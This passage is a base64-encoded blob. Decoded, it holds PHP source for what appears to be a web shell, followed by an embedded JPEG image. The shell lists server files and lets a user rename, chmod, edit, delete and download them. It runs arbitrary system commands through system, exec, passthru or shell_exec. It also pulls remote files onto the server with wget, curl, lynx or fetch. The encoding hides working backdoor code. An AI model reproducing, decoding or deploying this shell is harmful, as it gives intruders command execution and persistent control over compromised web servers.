ZKUkVGVU9FK05ranRQd2xBWWh2MERMRVpKU0RRYXdRQ1RjWUQvWVdJa3pxeDBjSFQxRDdDNG5NUkZTZE9XaTR1em05RkZYY1JCSTNLeFFHbExvWUNBSUx5ZWtoaVJ3NlVuZVpLbWViOG43OWVlcGFXLzQzZTVYRkdmejBjc3ZGNHY4WGkyeWZyR0psbGVjUklhMnhuTE1vK09jRGlzNmtZTnVsRWZVZEVNWkQvS3VIMUlRN3k2UmlRUzBlWkpBb2xraWc2VS9wSEp5MGkvdk9QbS9nbmxpa1lsM0V4Sk1KbTZoRnhXR1FwRmhVcXlLSlFxeU5GR0hNZnB0TW51NUE1VWtCclZacWtpTHl0NHpjckk1SXQ0eThuWTJ3OVprclZ4U2RCYW9Wb3paNkxxdFZHRHU4ZG5IQjJmZ0E0SEdZSFphR0UyVFJqMUJvcUtobE55eGdyaWlTUmFuKzJGbU0wV1lyekFDaVFxNkhTN0MybDN1aERqaVNrQyt2S3IxN09GTkUwZ1NuSDArOSsyc0xMTVJ4UkVDWVBCd0JhQ09FWEFDeUtHdzZFdGVFRmlHZ1RPWXp6c25ndWFwU3NFeHUrQjR5QjBxSllVbGY1cmN5NVd4c3JTWWNma2RmYXZPcDNSTGJlYnpNUEswRUgvNy9BUHY1OWo3WCtnSk5JQUFBQUFTVVZPUks1Q1lJSSUzRCcgLz4gICRmaWxlPC9hPiANCjxmb3JtIGFjdGlvbj1cIj95PSRwd2RcIiBtZXRob2Q9XCJwb3N0XCIgaWQ9XCIiLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybVwiIGNsYXNzPVwic2VtYnVueWlcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIj4gDQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJvbGRuYW1lXCIgdmFsdWU9XCIiLiRmaWxlLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0elwiIHN0eWxlPVwid2lkdGg6MjAwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3bmFtZVwiIHZhbHVlPVwiIi4kZmlsZS4iXCIgLz4gDQo8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cInJlbmFtZVwiIHZhbHVlPVwicmVuYW1lXCIgLz4gDQo8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cImNhbmNlbFwiIHZhbHVlPVwiY2FuY2VsXCIgb25jbGljaz1cInR1a2FyKCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZmlsZSkuIl9mb3JtJyk7XCIgLz4NCjwvZm9ybT48L3RkPjx0ZD4iLnVrdXJhbigkZnVsbCkuIjwvdGQ+PHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii4kb3duZXIuIjwvdGQ+PHRkPjxjZW50ZXI+DQo8YSBocmVmPVwiamF2YXNjcmlwdDp0dWthcignIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybTInKTtcIj4iLmdldF9wZXJtcygkZnVsbCkuIjwvYT4NCjxmb3JtIGFjdGlvbj1cIj95PSRwd2RcIiBtZXRob2Q9XCJwb3N0XCIgaWQ9XCIiLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybTJcIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+IA0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiIi4kZmlsZS4iXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCIgLz4gDQo8aW5wdXQgY2xhc3M9XCJpbnB1dHpcIiBzdHlsZT1cIndpZHRoOjIwMHB4O1wiIHR5cGU9XCJ0ZXh0XCIgbmFtZT1cIm5ld3ZhbHVlXCIgdmFsdWU9XCIiLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkZnVsbCkpLCAtNCkuIlwiIC8+IA0KPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJjaG1vZFwiIHZhbHVlPVwiY2htb2RcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiY2FuY2VsXCIgdmFsdWU9XCJjYW5jZWxcIiBvbmNsaWNrPVwidHVrYXIoJyIuY2xlYXJzcGFjZSgkZmlsZSkuIl9saW5rJywnIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2Zvcm0yJyk7XCIgLz48L2Zvcm0+PC9jZW50ZXI+PC90ZD4NCjx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuZGF0ZSgiZC1NLVkgSDppIixAZmlsZW10aW1lKCRmdWxsKSkuIjwvdGQ+IA0KPHRkPjxhIGhyZWY9XCI/eT0kcHdkJmFtcDtlZGl0PSRmdWxsXCI+ZWRpdDwvYT4gfCA8YSBocmVmPVwiamF2YXNjcmlwdDp0dWthcignIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybScpO1wiPnJlbmFtZTwvYT58IDxhIGhyZWY9XCI/eT0kcHdkJmFtcDtkZWxldGU9JGZ1bGxcIj5kZWxldGU8L2E+IHwgPGEgaHJlZj1cIj95PSRwd2QmYW1wO2RsPSRmdWxsXCI+ZG93bmxvYWQ8L2E+Jm5ic3A7KDxhIGhyZWY9XCI/eT0kcHdkJmFtcDtkbGd6aXA9JGZ1bGxcIj5nejwvYT4pDQo8L3RkPjwvdHI+Ijt9IA0KJGJ1ZmYgLj0gIjwvdGFibGU+IjsgcmV0dXJuICRidWZmO30NCmZ1bmN0aW9uIHVrdXJhbigkZmlsZSl7aWYoJHNpemUgPSBAZmlsZXNpemUoJGZpbGUpKXtpZigkc2l6ZSA8PSAxMDI0KSByZXR1cm4gJHNpemU7ZWxzZXtpZigkc2l6ZSA8PSAxMDI0KjEwMjQpIHskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwMjQsMik7Ow0KcmV0dXJuICIkc2l6ZSBrYiI7fSBlbHNlIHskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwMjQgLyAxMDI0LDIpO3JldHVybiAiJHNpemUgbWIiO319fQ0KZWxzZSByZXR1cm4gIj8/PyI7fSBmdW5jdGlvbiBleGUoJGNtZCl7aWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkge0BvYl9zdGFydCgpO0BzeXN0ZW0oJGNtZCk7JGJ1ZmYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7JGJ1ZmYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7QG9iX2VuZF9jbGVhbigpOw0KcmV0dXJuICRidWZmO30gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7QGV4ZWMoJGNtZCwkcmVzdWx0cyk7JGJ1ZmYgPSAiIjtmb3JlYWNoKCRyZXN1bHRzIGFzICRyZXN1bHQpeyRidWZmIC49ICRyZXN1bHQ7fSByZXR1cm4gJGJ1ZmY7fSANCmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1Jykpe0BvYl9zdGFydCgpO0BwYXNzdGhydSgkY21kKTskYnVmZiA9IEBvYl9nZXRfY29udGVudHMoKTtAb2JfZW5kX2NsZWFuKCk7cmV0dXJuICRidWZmO30gDQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpeyRidWZmID0gQHNoZWxsX2V4ZWMoJGNtZCk7cmV0dXJuICRidWZmO319IGZ1bmN0aW9uIHR1bGlzKCRmaWxlLCR0ZXh0KXskdGV4dHogPSBnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkdGV4dCkpO2lmKCRmaWxleiA9IEBmb3BlbigkZmlsZSwidyIpKSB7QGZwdXRzKCRmaWxleiwkdGV4dHopO0BmY2xvc2UoJGZpbGUpO319IA0KZnVuY3Rpb24gYW1iaWwoJGxpbmssJGZpbGUpIHtpZigkZnAgPSBAZm9wZW4oJGxpbmssInIiKSl7d2hpbGUoIWZlb2YoJGZwKSl7JGNvbnQuPSBAZnJlYWQoJGZwLDEwMjQpO31AZmNsb3NlKCRmcCk7JGZwMiA9IEBmb3BlbigkZmlsZSwidyIpO0Bmd3JpdGUoJGZwMiwkY29udCk7QGZjbG9zZSgkZnAyKTt9IH0gDQpmdW5jdGlvbiB3aGljaCgkcHIpeyRwYXRoID0gZXhlKCJ3aGljaCAkcHIiKTsNCmlmKCFlbXB0eSgkcGF0aCkpIHtyZXR1cm4gdHJpbSgkcGF0aCk7fQ0KZWxzZSB7cmV0dXJuIHRyaW0oJHByKTt9fQ0KZnVuY3Rpb24gZG93bmxvYWQoJGNtZCwkdXJsKXskbmFtYWZpbGUgPSBiYXNlbmFtZSgkdXJsKTsNCnN3aXRjaCgkY21kKXtjYXNlICd3d2dldCc6IGV4ZSh3aGljaCgnd2dldCcpLiIgIi4kdXJsLiIgLU8gIi4kbmFtYWZpbGUpO2JyZWFrO2Nhc2UgJ3dseW54JzogZXhlKHdoaWNoKCdseW54JykuIiAtc291cmNlICIuJHVybC4iID4gIi4kbmFtYWZpbGUpO2JyZWFrO2Nhc2UgJ3dmcmVhZCcgOiBhbWJpbCgkd3VybCwkbmFtYWZpbGUpO2JyZWFrO2Nhc2UgJ3dmZXRjaCcgOiBleGUod2hpY2goJ2ZldGNoJykuIiAtbyAiLiRuYW1hZmlsZS4iIC1wICIuJHVybCk7YnJlYWs7Y2FzZSAnd2xpbmtzJyA6IGV4ZSh3aGljaCgnbGlua3MnKS4iIC1zb3VyY2UgIi4kdXJsLiIgPiAiLiRuYW1hZmlsZSk7YnJlYWs7Y2FzZSAnd2dldCcgOiBleGUod2hpY2goJ0dFVCcpLiIgIi4kdXJsLiIgPiAiLiRuYW1hZmlsZSk7YnJlYWs7Y2FzZSAnd2N1cmwnIDogZXhlKHdoaWNoKCdjdXJsJykuIiAiLiR1cmwuIiAtbyAiLiRuYW1hZmlsZSk7YnJlYWs7ZGVmYXVsdDogYnJlYWs7fQ0KcmV0dXJuICRuYW1hZmlsZTt9ZnVuY3Rpb24gZ2V0X3Blcm1zKCRmaWxlKSB7aWYoJG1vZGU9QGZpbGVwZXJtcygkZmlsZSkpeyRwZXJtcz0nJzskcGVybXMgLj0gKCRtb2RlICYgMDA0MDApID8gJ3InIDogJy0nOyRwZXJtcyAuPSAoJG1vZGUgJiAwMDIwMCkgPyAndycgOiAnLSc7JHBlcm1zIC49ICgkbW9kZSAmIDAwMTAwKSA/ICd4JyA6ICctJzskcGVybXMgLj0gKCRtb2RlICYgMDAwNDApID8gJ3InIDogJy0nOyRwZXJtcyAuPSAoJG1vZGUgJiAwMDAyMCkgPyAndycgOiAnLSc7JHBlcm1zIC49ICgkbW9kZSAmIDAwMDEwKSA/ICd4JyA6ICctJzskcGVybXMgLj0gKCRtb2RlICYgMDAwMDQpID8gJ3InIDogJy0nOyRwZXJtcyAuPSAoJG1vZGUgJiAwMDAwMikgPyAndycgOiAnLSc7JHBlcm1zIC49ICgkbW9kZSAmIDAwMDAxKSA/ICd4JyA6ICctJzsNCnJldHVybiAkcGVybXM7fWVsc2UgcmV0dXJuICI/Pz8/Pz8/Pz8/Ijt9ZnVuY3Rpb24gY2xlYXJzcGFjZSgkdGV4dCl7cmV0dXJuIHN0cl9yZXBsYWNlKCIgIiwiXyIsJHRleHQpO30NCiR0dW5pc2lhID0gJ2Jhc2U2NCwvOWovNEFBUVNrWkpSZ0FCQVFBQUFRQUJBQUQvL2dBN1ExSkZRVlJQVWpvZ1oyUXRhbkJsWnlCMk1TNHdJQ2gxYzJsdVp5QkpTa2NnU2xCRlJ5QjJOaklwTENCeGRXRnNhWFI1SUQwZ09UQUsvOXNBUXdBREFnSURBZ0lEQXdNREJBTURCQVVJQlFVRUJBVUtCd2NHQ0F3S0RBd0xDZ3NMRFE0U0VBME9FUTRMQ3hBV0VCRVRGQlVWRlF3UEZ4Z1dGQmdTRkJVVS85c0FRd0VEQkFRRkJBVUpCUVVKRkEwTERSUVVGQlFVRkJRVUZCUVVGQlFVRkJRVUZCUVVGQlFVRkJRVUZCUVVGQlFVRkJRVUZCUVVGQlFVRkJRVUZCUVVGQlFVLzhBQUVRZ0E5UUlJQXdFaUFBSVJBUU1SQWYvRUFCOEFBQUVGQVFFQkFRRUJBQUFBQUFBQUFBQUJBZ01FQlFZSENBa0tDLy9FQUxVUUFBSUJBd01DQkFNRkJRUUVBQUFCZlFFQ0F3QUVFUVVTSVRGQkJoTlJZUWNpY1JReWdaR2hDQ05Dc2NFVlV0SHdKRE5pY29JSkNoWVhHQmthSlNZbktDa3FORFUyTnpnNU9rTkVSVVpIU0VsS1UxUlZWbGRZV1ZwalpHVm1aMmhwYW5OMGRYWjNlSGw2ZzRTRmhvZUlpWXFTazVTVmxwZVltWnFpbzZTbHBxZW9xYXF5czdTMXRyZTR1YnJDdzhURnhzZkl5Y3JTMDlUVjF0ZlkyZHJoNHVQazVlYm42T25xOGZMejlQWDI5L2o1K3YvRUFCOEJBQU1CQVFFQkFRRUJBUUVBQUFBQUFBQUJBZ01FQlFZSENBa0tDLy9FQUxVUkFBSUJBZ1FFQXdRSEJRUUVBQUVDZHdBQkFnTVJCQVVoTVFZU1FWRUhZWEVUSWpLQkNCUkNrYUd4d1Frak0xTHdGV0p5MFFvV0pEVGhKZkVYR0JrYUppY29LU28xTmpjNE9UcERSRVZHUjBoSlNsTlVWVlpYV0ZsYVkyUmxabWRvYVdwemRIVjJkM2g1ZW9LRGhJV0doNGlKaXBLVGxKV1dsNWlabXFLanBLV21wNmlwcXJLenRMVzJ0N2k1dXNMRHhNWEd4OGpKeXRMVDFOWFcxOWpaMnVMajVPWG01K2pwNnZMejlQWDI5L2o1K3YvYUFBd0RBUUFDRVFNUkFEOEErVnBGQnJNMUNBajVoV214cGtrWWRDRFh4U2RqL1FPdlNWYUxpVjlPdVBNVGFUeUtXL3N4Tkdhb3NyV2srUndNMXJ3eUNhTUdtOUhkSE5RYXIwM1FxYm80MitzdHJIaXM0cHRPQ0s3UFVMSU9wd0s1cTh0U2hQRmRkT2R6NGpNc3ZkQ1YwaW1pQTA4UkE5cWF1WXppcDRqbXRUeDZjVTlHSUljakdLUTIrMDFjaVVHcHZLQkZaODFqMFk0WlRXaG5DTWlwRlhGV210OGRLYjVXS2ZNQ29PTElsV3BGSFNuQ09wRlRGVGMzalRZS09La0E0cEF0U0JhaHM3b1JGVVZLQmltcXRTQmFsbmJDSTVhY0Rpays3VEdrQzFKMFg1ZHlVdmdVaHVGRlZYbE5STVNhYWlZeXhMV3hkT29CT2dxSjlUWTlxamdzWnJnL0t2SHFhdlE2Qm5tUjhmU2g4cTNLZ3NaWCtCYUdZK29zYWlONlQxcm9rOFAydzZrbXBCb0ZvUDREUzlwQkduOWxZNmVya3Z2T1grMVo3MG91QWE2ZzZEWi84ODZZMmhXWS9oL1duN1dKTHlmR0xlU09jRW9QZWxEZTliYjZSWXhubkkvR3E3MjFqR2VDZnpwODZaenl3RmFuOGNvL2VaMmMwMTR3YXVPdG4yY2lvbldBL2RrL09xdWMwNk50RzAvbVowOFZRMnN2bFM0UFN0QjR3UWNNRFZDYUlnOU9hMFR2b2VSV3B1bkpUaWFUU0Fya0dzMjV2dGhJcGd1V1FiVFZaMTgxaVRUakcyNWhpTVZLY1VvYml0Zk0zU29tbmtiT00xUEhDbzZpcEFpZ2RLMDBSNTNKVW5yS1JtUEE4eDV6VDQ3QUtlUldqa0QwRkl6Z1UrWm1Td2xOUG1rN2xYeU52dFRUQnU0SFdwMllFMVBiUUJtQnBYc1hHaEdvK1dJdW42WHVZRWl1a3Q3WVJSWUFxS3lnQVVWZUs0VVZ4em01TSs2eS9CUW9RdWtWaUtobmp5S3NrVkhJT0tsTTY2a0xxeGp6eDRKcDFqeEtLbXVJODVwbG9QM29yZStoNEhzK1dzanFiQTVpRldKT2xRMlM0aVdwSk90Y1QzUDBlbHBTUXlrYmdacHdHYWpuNFEwRVMwaTJRUnJ1bE5Hb3Y4aW9LbHRrNXpWYThPNmNWUzNPS2E1YUw4elAxQ2I3UGJISFU4VmJIN2pSaDY3YzFqNnZKNWwxREVPbTZ0clVsMjZaZ2RsclZyUmVaNGxHbzVUcnlYMlkyT0F1U1dtY251YXJ1dVJWaWNmTVQ3MUNSa1Y2U1B5ZXFyeWR5QWNWWmk1R2FnQ2M0cXhHS2JNS1MxTEVDNUlGZERwY1B6Q3NXelRMQ3VxMHFEQ2c0cmtxdXlQdDhtb09jMHpYdDAyb0tmSTIxYWNvd0FLaHVEaFRYQjFQMDkrNUF6cnVUazBWQmNuazBWdXRqNVd0TnViTmh1dFBUbW1OMXB5R3NUNmVMOTRodkxiekV6am1xbGpPWVpmTFk0RmEyQXd4V1hmMnhSdDZqa1ZVWGZSbkxpYWJweVZlbjBORjFEcldIcU5ua0VnVnFXTjBKa3dlb3AxMUQ1aW5paE54WVlpbkRGMGJvNG00aTJ0VWNiWU5hdW9XdTFqeFdWS2hSdlN1Nkx1ajgxeEZGMEpzdXd2MHE5RnlLeW9YeGl0RzNmaXM1STlIQzFFeXlZd2FZMFB0VThmelUvWURXVnoydlpxU3VWUEt4MnBSSHgwcXhzbzJVN2sreHNRS2xTS3RQMlV1TVVybWloWVFERkJiRk5ac1ZFejVvc0tVMUhZZThsUWx5YUFyT2NDcnRycGpTY3NNQ25kTGN6akNwWGRvSXFSUVBPd0Nqcld0YTZZa1EzU2ZNM3BWbUtCTGRjS09mV2huckp5YjJQY29ZS0ZCYzFUVmp2TVZCZ0RGTEd4YzFDcU5LMkIwcTJpQ05jRHJXYlBUcDgwM2ZvU0x3S1JwUUtqa2wyRGsxajZqcktRZ2hUelFvdVQwSGlNWFR3MEx6ZGpSdWRRU0VaTFZoWHZpTEdRbFlWOXFqU3NmbU5aN1N0STFkc0tQYy9QTWZ4RE9iY2FPaHF6NnhKS1Q4MktxbStkajFOVmxpSjYwOWsyajNyZFJpajVxV0pyMWZla3laYmhpZnZWS2tySHZXZnVJTlRSTzNyVHNSVHJ0dXpMdm10NjA0VEdraVhjS2MwZUt6MFBVWFBhNll4Z3JqcHpVVFJZNkduTXZYdFNESTYwMFlTMTNSSHRaVFRXWnMxWVVnaWxLRHJpbmNqMmQ5bVZmbU5KZ21ySlVVb2pGRnlQWk45U29SaXJ0aEtOd0ZOTUdlMVJoVEMrYUhaNkZVNHlvelV1aDFsb01vS3NPZUtvNlRONWtZcXhLL0pGY0RXcCtpMGFrWFJVbDFIOWFoY1VxdGs5YUhwaEpwb3BYQXdEVVZsSG1iOGFudUJUYklmdlJtdGVoNURnblhSMHRxdUVBOXFXUWNtaTJQeUFVUHlhNU9wOTJ2NGFHanBVTndhbXFDWWZOVkk1NnZ3a2tBd2hxak56S3hxK25FUnFoSi9FYWFPYkVhUWlqQWtVemFxbnNhNkxVRTNXRER2aXNTQ0luVWczdlcvZGdHMGI2VnJONm84TEw2ZDZWZHZyYzg3dVVJZHZyVVJYNWF1M3EvdkgrdFY5dUZydlQwUHpPclR0Tm9yRmNHcG9WcGg2MWJzb2pJNEFGVkoyUmhScDgwK1ZHanBsdVhZY1YxMWxEdFFjWXJNMDIxV05WSndEVzNDUXc0NlY1dFNWMmZyT1VZUlVZSnZjZmlvYmhjcWFzZ1V5Uk1pc1Q2YWNPYU5qQXVWb3F6ZXc3U2FLM1QwUGtLOUpxYlJmYnJRcDVwemQ2WURXSjlLOUdUSWFXV01TSVJVYUhGVEszRkk2STJrck14am16dU0vd2sxcUk0bGp5S2p2cllTb2VPYXAyTTVpZnkzL0NyM1Z6elkzdzFYMmIrRmlYOXFHQk9LNTI3dDlwTmRsTEdIVTFoNmphWnpnVnBUbDBQSXpUQktTNTRvNThIYWF1VzhtTVZYbWoyTWFJbTJtdXA2bytPcHQwNTJadHdQa1ZaVVpGWnRySmtpdFNFNUZjMHRENjNDejlvaHBGR0tsWmMxR1JnMUZ6dGNiRFNLWTFTRVpwTnVhZHpLVWV4WFpTVFNyRnZZQURtcDltS3VXVnVNN2lLSEt3cVdIZFNYS090TEJZZ0dZWk5XandLZWFZMVl0M1BvNFVvMG84c1VNYzRwZ1hlY0NsZmo2MUxGSHRIUFdtUW91Y3JEa1VJdkZObGtDTGs4VVNTQkFhd2RYMVlScVZVODA0eGNtWll2RlF3bE55a3htcmF4c3lvTmN2ZDN6U01lYVplWGhsYzVQTlZFUnBHeWE5S0ZOUlIrUTVqbWRURjFHa3g2N3BUVnFLRUFVa1VlMGRLOU8rRy93RThXZkVrSlBaMllzZE1KNTFDOHlrWkgreU9yL2dNZTlYckoyaWp5NVZLR0RwdXRpWnFLN3M4NHh0UEZJSUpiaHdrVWJTeUhvcUFrbjhLKzFmQi83SlBoTHc0c1Urc1NUYS9kcnl3bFBsd1o5a1hrL2lUWHBsdG9PbGFCYkMzMHZUN1hUNFFNQkxhRll4K2dycmhoSnZXVHNmSDQzakxDVTd3dzBIUHorRmZxL3dSOEM2UDhIZkd1dXFyV25ocS8yTjBlZUx5VlA0dmdWM3VnZnNsK09OVWFQN1IvWjJtcWV2Mmk1M0VmOEFmQWIrZGZYWjYxYXM1dGpBWnJvV0ZoMVo4dlU0dnhyZjdxRVkvSnQvbitoNEhvMzdDMnJYS2czUGlxeGl6Mmh0bmY4QW1WcTNxWDdBL2lCSVMybitLTk11bi91M0VNa1g2amRYMDlvbW9iU0FUeFhYV2wwR1FEZHpWZlZLWFl5anhqbkVYL0VWdTNMSC9JL1BUeFIreDc4Uy9EcVBKSHBNR3J3cnlYMDY1VnorQ3R0WS9nSzhrMTd3dnEzaG02TnRxK21YZWwzQS93Q1dWNUEwVEg4R0FyOWVOaXl4NDcxamEzNGZzdFh0WHR0UXNvTCsxY1lhQzVpV1JHK29JeFdNc0hIN0xQYXczSFdKaTdZcWxHUzhycC9xdnlQeUtLWTlxZUZKR0RYMy93Q1BmMk5mQlhpcEpKOUpXWHcxZk1jZzJuendaOTR6MEgrNlJYeXI4VmYyY2ZHSHdyZVM0dTdUKzB0SFU4YWxZZ3ZHQi90anFuNDhlNXJpcVVLbFBkYUgzK1djUlpkbVRVS2MrV2IrekxSL0xvL2s3K1I1VTBWV2JPMkV6WXpVT0RTeHV5TmtjRWQ2NW5zZlhVK1NNMDVMUTJQN0ovZDVBck11N2Jabml0R3oxd3FtMlVaOTZyM3N5ejVaVGtWakhtVDFQWnhFY0xVcEtWSjY5aGRFWTVJN1ZvUzhNYW9hU01NVFdoS010VXkrSTY4R245V1NFV2grOUNpbVRuYURVZFRyYjVZM0swclpHTzlTV1NFeUNxNStacXYyYWJTS3Q2STRxSzU2cVp0MncrVVVQMXBMZjd0RWd3VFhOMVB0VjhDQ29KT1dxVUdtT01uTk5HRTlVUDZSVlMyNXpWMC82bzFWVVpOTkdOWlhhUlFpdHl0MXVyU3VSL29qZlNrTVlEWnAxM3hhdDlLYmQyam1wMFZTcHpzY0xkcjg3L1dxY3JZRlg3bm56RDcxbHpISk5lbkUvSk1XK1Z0akYrWjYyckZWaFVNZXRaTnZHV2JOYXNLbGlBS0o5Z3dFZVY4OXRUVGh1SkpYQ0xYU1drZjJlQUZ6emp2V2ZvZGdFWHpHSE5TYXZlK1dOb09LOCtYdlBsUituWU9Md3RCNG1zOVhzV0cxRkErQWMxYWhsRXk4Y2l1UkV4TFp6VzFwVnpuNVNhVW9XUnJoTXlkYXB5eUxsNUR1VTBWWWxHNWFLaE94NkZiRHFjcmtUQ21zT0tsYW8zK1VVSTFtdW8wTmlucElLclNQZzAxV0pOT3h6S3J5dXhvQTdsck52cmNxMjllb3EvQjBGSmNKbGVsSk96T2l0VFZhbmRrRmxjK2F1MDlSUmQyNGtVMVNjR0NRT240aXRLR1VUeFpwdlRWSEpTbjdXTHBUM1J6Ti9hYlNhelNwVTExVi9hN2dlSzU2NnR5am5pdXFuSzZQanN4d2pwVDVraGJaeUdGYlZxMjVSWFB4WkRWczJVbUFLVlJHdVgxTE96Tklya1ZHeTFNdkl6VFN0Y3g5UTQzSUF0UENlMVAyVTREaW5jaFFJZ21TT0swTGRjQVZVVmVhdVJIZ1ZMTzNEUnRLNUl3elVibmFwSnFZOUtxT1RMSnRIM1IxcVR0cVBsV200c1NsanZQNENwbmNLS1FEQXJQMUc3RUtubW1sZG5QVXFMRDArWmxiVmRSRVNFQTF4OS9lR1JtT2MxYTFPK01qbm1za2d5TlhvMG9jcXV6OG96Zk1aWW1vNHhlZ3hVTWpaeFczNGQ4T2FoNGoxTzMwM1M3U1M5dnAyMnh3eExray93QkI2azhDdFg0ZS9EM1Z2aUo0Z2cwZlI0UE5uaytaNUc0U0ZPN3Vld0g2OUJYM3I4SnZnem8zd20wanlMT1A3UnFNd0gybS9rSHp5bjBIOTFmUWZubXUyblNkVitSK2Y1cG05REpvV2Z2VlhzdjFmbCtaNTM4SC93QmxYU2ZDY2NPcCtLRmkxblZ4aDF0U04xdEFmb2Z2bjNQSHQzcjNzSXNTS3FBS29HRkNqQUE5S2xJd1R4eFZlZVh5eDF4WHF3aEdtclJSK080M0g0ak1LbnRjUks3L0FBWG91aERjdHRCejNySHZKQjA3MVl2dFVpanlDd3pYSCtKL0hHaitHNERjYXBxTnZZd25vMDBnVXQ3QWRUOUJWdDIxWnd4aktiVVlxN1p0cysyaU9VWjY4MTRMNGkvYXU4T2FlelI2WmFYZXJPRHcrQkRHZnhibi93QWRyaHIvQVBhNDE2YVFteTBmVDdaZjRmTlo1Q1BxUVFQMHJGMTZhNm4wRkRoL01hNnVxZGw1dEw4Ti93QUQ3TDA2OTJsZWNZNjExbW1hb3U0WlA0MStmQS9hdThjQjl5alRVeDJGc2Y4QTRxdG5UUDJ4dkd0bXdNMXBwVnl2b1lYWCtUMW45YXBub0xoVE1XdE9YNy8rQWZvM3AxMnN3QXpWK1dJTXZybXZpUHdmKzNoREJKR211ZUdwSWs2TkxZVGgvd0R4eGdQL0FFS3ZvNzRjL3RHK0IvaVEwZHZwbXR3cGZQd0xLOC9jekUrZ0RmZVArNlRXc2ExT2VpWjVXS3lQTWNFbkt0UmR1NjFYM3E5dm1kL0xGc09EVlY0a3VWWkhBZENDcklSa0VlNHE5TzZTRW52VktRYlEyMDdUMXJZOEkrYi9BSTFmc2ZhVDR1V2ZWZkNDdzZMclJ5N1dXTnRyY0gySC9MTnZwOHZzT3RmRnZpRHc1cVhoVFY3blM5WHNwdFAxQzNiYkxCTXVHVS8xQjdFY0h0WDZ2TE5qQXp6NjE1NThhZmdob254bDBVeFhRV3oxcUJTTFBVa1g1a1A5MXY3eUU5dTNVVjU5ZkNxWHZRM1AwcklPTHF1RGxIRDQ5dVZQdnU0LzVyOFYwN0g1b053ZUtOK09sZEI0NDhFYXQ4UHZFZDNvbXRXcHRyNjNiNnJJdloxUGRUMk5jNjQ5SzhpMXRHZnRzYWtha0ZVcHU4WHFtdXhlc2IxSUd3MzUxcHJNazNLc0RYTmZkTlBqbmFOc3FTS2lVTDZubzRmTUpVbHlTVjBkTUJnWnFuY3lkcXF4YW8yM2EzUHZTaGpLM0JyTlJhM1BVbmlvVlkycGtzS2JqbXRLMlhHS3IyOFBITlg0bzlvck9UUFF3bEpyVXRSTmpGVE9Od3pWZE0xT2g0d2F5WjlMVGQxWmtSNG9xUjA3aW9zNDYwSWlTNVhxUEF5aHFGVndhbVRyUytXYzBYRzQ4eVRJaU9RS2p2MkNXcm4ycXdWK2VzM1hwL0t0U1BXbkhWcEhMaVpLbFJuSjlqa3Jwc1JPZlUxbWZlUEhOWDc5OXNhTDY4MVh0NHR4Qk5lbkhSWFB4ekVwMUtxaWlhM2kyZ2NjbXRyVHJRc3k4Y21xVnJEdmNWMHVtVytEbkhTc0trdEQ2YktzR3B6UnBSSUlvUUI2VnpXcXVXdUdCcnFKZmxqcmt0VWI5K2E1Nlc1OVRuTDVLRVlvcWcxZjAyZmJLQm5pczFHeWFzVzBtMlVkcTZKTFErVXcxVGtxS1NPeFE3b3hSVWRrMitCZnBSWENmcGNQZmlwRHp4VU1yREdLYzhneFZhUjgxUnkxYWlTc1JzY21uSXZOTkgxcHc2MVJ3TGU1ZGc0V3BaRjNDb0lHNEFxeU9SV2JQWnBXY2JHWmN4N0NUamlxOE1wdHBRUnloclF1MUJVMWxid0dLTjBQU3RGcWp4TVN2WlZFMW9hN0FUUjVIZXNlL3RNNU9LdFdWd1kyOHRqeDJxM2N3aVJEM29YdXMwcXdqaktWK3B5THFVYXJsbkpnaW5YOW9VT2NWWGdPMXE2Yjh5UGtGQ1dIcldaME1EQmxGU2xjMVJzcGVnclFISXJtZWg5alJrcWtFeHV5bDI4VTREaWt4U09qbEc0NXF4R0toQTVxVGVJMEpOSm1sT3kxWXR4TnRBUmZ2R2lOQWkrOU1nUXV4ZHVwNlUrYVFScVNUaWw1R3FkNzFKRWR6T0kwSk5jbnE5K1hjZ0dyMnJhbG5LcWE1dVpqSXg1cnJwUTZzK0R6ck1lZjkxVFpYWW1Salc5NE84SGFsNDAxK3owZlNyYzNOOWRQdFJSMEE3c1QyQUhKTlprRUc0OU0xK2dIN0wzd05qK0hIaGFQV2RVdHgvd2tXcHhoNUE0NXRvanlzWTlEMExlL0hhdlFwUWRXWEt0aj